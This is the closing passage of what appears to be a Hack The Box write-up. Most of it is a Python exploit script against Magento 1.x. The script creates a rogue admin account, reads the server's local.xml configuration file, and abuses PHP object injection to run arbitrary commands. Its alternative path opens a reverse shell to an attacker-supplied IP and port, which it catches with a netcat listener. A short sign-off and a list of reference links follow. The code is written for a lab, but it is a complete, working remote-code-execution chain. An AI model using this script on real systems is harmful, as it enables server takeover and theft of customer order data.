273            print(f"[+] Added {args.username} to {args.target} with a password of {args.password}")
274        else:
275            exit(f"[!] Could not add user to {args.target}")
276
277        print(f"[-] Logging in to {args.target} as {args.username}")
278
279        session, resp, formkey = login(args.target, args.username, args.password)
280        if session is None:
281            exit(f"[!] Could not login as {args.username} to {args.target}")
282    else:
283        print(
284            f"[+] Valid credentials ({args.username}:{args.password}) found. Proceeding without adding a new user."
285        )
286
287    print(f"[-] Searching historical data using {args.history_length} as period parameter")
288
289    session, resp = search_orders(resp, args.history_length, formkey, session)
290
291    src_value = get_src_value(resp)
292    if not resp.ok or not src_value:
293        exit(
294            "[!] Did not receive results from orders search."
295            f"\n\tTry changing value passed to --history-length. Current value is {args.history_length}"
296            f"\n\tPossible values are {', '.join(HISTORY_LENGTHS)}"
297        )
298
299    print(f"[-] Parsing local.xml for install date.")
300
301    local_xml_url = f"{args.target}/app/etc/local.xml"
302    install_date = get_install_date(local_xml_url)
303
304    print(f"[+] Found install date: {install_date}")
305
306    parsed_src_url = urlparse(src_value)
307    exploit_url = f"{parsed_src_url.scheme}://{parsed_src_url.netloc}{parsed_src_url.path}"
308
309    if args.command:
310        exploit_params = get_exploit_params(args.php_function, install_date, args.command)
311
312        print(f"[-] Sending '{args.command}' for execution on the distant end.")
313
314        resp = session.get(urljoin(exploit_url, exploit_params))
315        if resp.status_code == 500:
316            print(f"[+] Exploit succeeded", end="\n\n")
317            print(resp.text)
318    else:
319        local_ip = args.callback.split(":")[0]
320        local_port = args.callback.split(":")[1]
321
322        start_netcat(local_port)
323
324        cmd = get_callback_command(local_ip, local_port)
325
326        exploit_params = get_exploit_params(args.php_function, install_date, cmd)
327
328        print(f"[+] Initiating callback to {args.callback}.")
329
330        try:
331            session.get(urljoin(exploit_url, exploit_params), timeout=10)
332        except (KeyboardInterrupt, requests.exceptions.ReadTimeout):
333            pass
334
335
336if __name__ == "__main__":
337    parser = argparse.ArgumentParser()
338
339    parser.add_argument("target", help="target url of magento server", type=validate_http)
340
341    cmd_or_cb_group = parser.add_mutually_exclusive_group(required=True)
342    cmd_or_cb_group.add_argument("--command", help="Command to be run on the remote system")
343    cmd_or_cb_group.add_argument(
344        "--callback",
345        help="IP address and port to callback to (format: IP:PORT)",
346        type=validate_callback,
347    )
348
349    parser.add_argument(
350        "--username", help="username of new admin user (default: forme)", default="forme"
351    )
352    parser.add_argument(
353        "--password", help="password of new admin user (default: forme)", default="forme"
354    )
355    parser.add_argument(
356        "--php-function",
357        help="php function to use for command execution (default: system)",
358        default="system",
359    )
360    parser.add_argument(
361        "--history-length",
362        help="number of days back to search for orders (default: 7d)",
363        default="7d",
364        choices=HISTORY_LENGTHS,
365    )
366
367    arguments = parser.parse_args()
368
369    main(arguments)

I hope you enjoyed this write-up or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.

epi-htb-badge

Additional Resources

  1. Magento 1.9.0.1 PHP Object Injection
  2. Magento Shoplift exploit
  3. Magento CE < 1.9.0.1 Post Auth RCE
  4. Analyzing the Magento Vulnerability
  5. HTB Scripts for Retired Boxes
  6. python - requests
  7. python - mechanize

comments powered by Disqus